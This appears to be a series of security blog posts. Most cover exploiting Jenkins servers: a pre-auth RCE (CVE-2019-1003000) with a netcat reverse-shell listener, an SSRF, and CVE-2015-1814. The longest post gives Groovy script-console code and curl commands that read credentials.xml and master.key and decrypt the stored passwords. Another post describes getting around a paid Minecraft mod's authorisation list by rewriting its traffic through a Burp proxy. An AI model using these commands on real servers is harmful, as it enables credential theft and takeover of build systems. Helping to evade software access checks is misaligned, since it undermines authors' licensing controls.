Tuesday, May 14, 2019

Minecraft Mod, Follow up, and Java Reflection

After yesterday's post, I received a ton of interesting and creative responses regarding how to get around the mod's restrictions which is what I love about our community. Mubix was the first person to reach out and suggest hijacking calls to Pastebin using /etc/hosts (which I did try but was having some wonky behavior with OSX) and there were other suggestions as well with regards to hijacking DNS and pretending to be the site (Pastebin).

However, my FAVORITE suggestion came from a co-worker of mine (and all around super cool/talented hacker) Matt Langlois. He had an idea for a better workaround. One that didn't require proxying web traffic or for you to even be connected to the internet. He decided to override the code that checks the list of allowed users and inject our UUID into that list. It works beautifully but rather than try to explain the details in this blog post, I suggest you visit his blog post to check out the details.

The gist is that Java reflection allows you to override methods in memory and this is exactly what Matt did. So - go check out the blog post!

Monday, May 13, 2019

Minecraft Mod, Mother's Day, and A Hacker Dad

Over the weekend my wife was feeling under the weather. This meant we were stuck indoors and since she is sick and it's Mother's day weekend - less than ideal situation - I needed to keep my son as occupied as possible so she could rest and recuperate.

When I asked my son what he wanted to do, he responded with a new Minecraft mod he'd seen on one of these YouTuber's channels. The mod allows you be various Marvel superheroes! Except, the mod version we downloaded... well it lacked the suits he'd seen on YouTube (of course it did).

Did my homework, realized he wanted a version that was only released if you were a Patreon supporter. Now, I'm totally cool giving 5 bucks for software that somebody poured their heart into and with having recently watched Endgame... the desire for the Iron man stuff shown in this paid-for-mod was larger than the desire to hold on to my 5 dollars. Went on Patreon, donated the $5, and downloaded the mod. Fired it up, everything appeared fine... then I got this...

What? Seriously? Well, I go back in and re-read the Patreon message...

Ugh, so a couple issues here. One, we wanted access now. Taking a day (maybe) to add us to some magical list is less than ideal (which, the creator still hasn't responded to my emails so perhaps... never?). Secondly, I'm wondering if this is some sort of "donate $5 every month to continue being on the magical list to use this mod". And, if I already paid for software, I just plain old don't like being at the mercy of someone else.

Time to be the hacker dad hero my son needs :P (plus, I wanted to teach him a life lesson about the hacker spirit).

Okay so... a mod is just a jar file... let's open this up with JD-GUI and search for "Unauthorized use".

Each of these handlers has the same code, they all look basically identical, and they are checking to see if you're in a list and if you're not, then you don't get to play.

So where is this list coming from? Looks like SuperHeroesBetaTesterChecker.getList()

What? Are we seriously pulling down some list from pastebin.com to find out who our authorized users are?

Alright.... so... UUIDs? As it turns out, UUIDs map to usernames and that information is totally retrievable and this handy site helps https://mcuuid.net/.

Cool so now I know our UUIDs (and you do too but, again, anyone can find that out so it's really whatever).

Now originally, I tried decompiling, changing the source and recompiling. At one point I even had my environment setup to compile from Eclipse with forge and this source code. But this was taking a couple hours and I needed a quick solution. This is where Burp came into play. Here is what I did.

1. Set Burp to listen on all interfaces under the proxy options
2. Exported its certificate so that both my son and my machines trusted the proxy for https traffic (no cert warnings)
3. Set our machines to use the Burp proxy for all of our traffic for Secure Web Traffic
4. Added a few proxy match & replace rules that replaces one of the other UUIDs with ours (and usernames for dev level access because.. why not)

That's basically it. Once our machines started routing traffic thru my Burp proxy, every response from pastebin.com with those UUIDs automatically had ours added to the list as authorized users and it worked like a charm.

Note that I have not given detailed instructions on those above 4 steps because... there are already tons of tutorials out there if you're not already familiar with Burp & proxying web traffic.

Let's summarize. We paid $5, and we got told we still needed special permission to use this mod. Didn't sit well, wanted to get this working, and figured I could teach my son a little bit about computers/hacking. Now, did I email the creator of the mod? Yes, in fact I let them know what I found and the workaround. Was very upfront about that. Also provided usernames in case the creator did feel like adding them (though I doubt he's feeling super generous). But we had some fun, learned a little, and got to use the mod.

Having said all that, if you're in a position to donate even a few bucks for software that someone spends a good chunk of their time writing, I'd say do it. But if they don't deliver as promised... put on your hacker hat :-).

Tuesday, March 5, 2019

Jenkins - CVE-2018-1000600 PoC

second exploit from the blog post


Chained with CVE-2018-1000600 to a Pre-auth Fully-responded SSRF


This affects the GitHub plugin that is installed by default. However, I learned that when you spin up a new jenkins instance it pulls all the updated plugins (also by default) I'm honestly not sure how often people set update to latest plugin on by default but it does seem to knock down some of this stuff.

exploit works against: GitHub Plugin up to and including 1.29.1

When i installed Jenkins today (25 Feb 19) it installed 1.29.4 by default thus the below does NOT work.

From the blog post:

CSRF vulnerability and missing permission checks in GitHub Plugin allowed capturing credentials 
It can extract any stored credentials with known credentials ID in Jenkins. But the credentials ID is a random UUID if there is no user-supplied value provided. So it seems impossible to exploit this?(Or if someone know how to obtain credentials ID, please tell me!)
Although it can’t extract any credentials without known credentials ID, there is still another attack primitive - a fully-response SSRF! We all know how hard it is to exploit a Blind SSRF, so that’s why a fully-responded SSRF is so valuable!

To get old versions of the plugin and info you can go to  

download old versions


Monday, March 4, 2019

Jenkins - messing with exploits pt3 - CVE-2019-1003000



This post covers the Orange Tsai Jenkins pre-auth exploit

Vuln versions: Jenkins < 2.137 (preauth)

Pipeline: Declarative Plugin up to and including 1.3.4
Pipeline: Groovy Plugin up to and including 2.61
Script Security Plugin up to and including 1.49  (in CG's testing 1.50 is also vuln)

The exploitdb link above lists a nice self contained exploit that will compile the jar for you and serve it up for retrieval by the vulnerable Jenkins server.

nc -l 8888 -vv

bash: no job control in this shell
 bash-3.2$ jenkins

After Jenkins 2.138 the preauth is gone but if you have  an overall read token and the plugins are still vulnerable you can still exploit that server.  You can just add your cookie to the script and it will hit the url with your authenticated cookie and you can still exploit the server.

Jenkins - Identify IP Addresses of nodes

While doing some research I found several posts on stackoverflow asking how to identify the IP address of nodes.  You might want to know this if you read the decrypting credentials post and managed to get yourself some ssh keys for nodes but you cant actually see the node's IP in the Jenkins UI.

Stackoverflow link: https://stackoverflow.com/questions/14930329/finding-ip-of-a-jenkins-node
blog on setting up a node: https://embeddedartistry.com/blog/2017/12/22/jenkins-configuring-a-linux-slave-node

 There are great answers in the stackoverflow post on using the script console but in the event you found yourself with just the Jenkins directory or no access to the script console it's pretty easy to get this information.

You can just browse to jenkins-ip/computer/$nodename/config.xml. This request will require the extended read permission.

Optionally if you are on the box  or have a backup you can go to jenkins-dir/nodes/$nodename/config.xml

Thursday, February 28, 2019

Jenkins - decrypting credentials.xml

If you find yourself on a Jenkins box with script console access you can decrypt the saved passwords in credentials.xml in the following way:


passwd = hudson.util.Secret.decrypt(hashed_pw)

You need to perform this on the the Jenkins system itself as it's using the local master.key and hudson.util.Secret

Screenshot below

Code to get the credentials.xml from the script console


def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cmd.exe /c type credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
println "out> $sout err> $serr"


def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cat credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
println "out> $sout err> $serr"

If you just want to do it with curl you can hit the scriptText endpoint and do something like this:


curl -u admin:admin --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"

Also because this syntax took me a minute to figure out for files in subdirectories:

curl -u admin:admin --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+secrets%5C\master.key%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run


curl -u admin:admin --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cat+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"

Then to decrypt any passwords:

curl -u admin:admin --data "script=println(hudson.util.Secret.fromString('7pXrOOFP1XG62UsWyeeSI1m06YaOFI3s26WVkOsTUx0=').getPlainText())"

If you are in a position where you have the files but no access to jenkins you can use:

There is a small bug in the python when it does the regex and i havent bothered to fix it at the time of this post. But here is version where instead of the regex i'm just printing out the values and you can see the decrypted password. The change is line 55.

Edit 4 March 19: the script only regexs for password (line 72), you might need to swap out the regex if there are ssh keys or other secrets...read the credentials.xml file :-)

Edit 8 April 19: This tweet outlines another similar way  

Wednesday, February 27, 2019

Jenkins - SECURITY-180/CVE-2015-1814 PoC

Forced API token change


Affected Versions

  • All Jenkins releases <= 1.605
  • All LTS releases <= 1.596.1

Tested against Jenkins 1.605

Burp output

Validate new token works